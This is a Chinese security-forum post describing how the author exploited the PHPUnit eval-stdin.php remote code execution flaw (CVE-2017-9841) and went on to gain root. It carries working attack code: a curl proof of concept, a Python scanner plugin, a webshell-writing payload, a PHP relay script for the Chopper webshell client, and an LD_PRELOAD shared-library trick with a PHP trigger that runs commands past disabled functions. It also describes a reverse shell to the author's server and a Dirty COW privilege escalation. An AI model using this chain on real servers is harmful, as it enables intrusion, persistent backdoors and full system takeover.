CVE-2017-9841到root提权

sinensis / 2018-05-09 15:24:13 / 浏览数 6306 渗透测试 渗透测试 顶(2) 踩(0)

漏洞详情: http://phpunit.vulnbusters.com
简单来说漏洞是出在phpunit，可以使用composer安装，`vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`, 这个文件可以造成RCE：

```
$ curl --data "<?php echo(pi());" http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
```

影响版本: `4.8.19~4.8.27`或者`5.0.10~5.6.2`

漏洞的利用扫描

官网给了一个poc，照着POC写一个POC-T的扫描插件:

```
#!/usr/bin/env python
# -*-coding: utf-8 -*-

import requests
req_timeout = 10

def poc(url):
   if '://' not in url:
       url = 'http://' + url
   targeturl = url.rstrip('/') + "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
   try:
       c = requests.post(targeturl, timeout=req_timeout, data="<?php echo(pi());")
       if r'3.14' in c.content:
           return   url
   except Exception, e:
       pass
   return False
```

I

写个shell或者菜刀中转脚本

写shell

因为直接是RCE，如果当前目录可写，直接POST这样的body: `<?php file_put_contents("a.php", '<?php eval($_REQUEST[11]);?>');`即可在当前目录生成一个`a.php`的shell。如果当前目录不可写，可以使用菜刀中转脚本。

菜刀中转脚本

使用20160622版本的菜刀，可以直接连目标，可以执行命令，但是不可以上传修改文件。

```
<?php
$webshell="";
$data = file_get_contents("php://input");
$data=substr($data,1);
$data=str_replace("%2F",'/',$data);
$data=str_replace("%2B",'+',$data);
$data=str_replace("%3D",'=',$data);
$data= "<?php ". $data;
echo $data;

$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);

$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context);
echo $html;
?>
```

通过上一步另外写一个shell，碰到的环境情况如下:

```
CentOS release 6.5 (Final)
2.6.32■■■■■■■■c0w■■
■■/home/wwwroot■■■■■■■■lnmp■■■■■
```

Linux的lnmp一键安装包把大部分可执行命令的函数都禁用了，但是可以通过LD_PRELOAD来执行命令:

```
//gcc -c -fPIC hack.c -o hack
//gcc -shared hack -o hack.so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("echo aaaaa> /tmp/abc.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
```

使用方法:

```
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a[@localhost](/user/localhost)","","","","");
?>
```

由于目标机器不可以执行命令，现在本机编译好之后上传即可，本机编译环境是:

```
CentOS Linux release 7.4.1708 (Core)
```

经测试，可以执行命令，但是如果命令存在空格，执行失败，所以这里是用`${IFS}`来绕过，经测试可用。先后做了如下的提权测试:

1. 使用python来反弹shell到自己服务器，失败
2. 把编译好的dirty上传，然后在hack.c里面修改执行提权，失败

由于每次要执行命令都要先本机编译，然后上传过去略麻烦，回过头发现可以执行python脚本，所以最后改下hack.c:

```
//hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("/usr/bin/python${IFS}/tmp/1.py");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
```

```
#1.py
import os
os.system("netstat -plant  >/tmp/res.txt")
```

这样子只需要每次修改1.py文件即可执行命令，不用再每次编译so文件。但是这样执行命令有一个缺陷,刷新一下执行命令的php文件，会不停的生成`/usr/bin/python${`

然后修改`1.py`文件反弹到自己的服务器成功。

提权

1. 在目标机器上面，直接使用gcc来编译c0w.c失败。
2. 使用本机编译之后上传，在反弹的shell里面直接执行，提权成功。

上一篇：postMessage跨域 下一篇：KONGTOP DVR后门分析[C...

1. 1 条回复

yyyyu樧 2019-08-22 11:39:45

官网的poc可以私发么

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板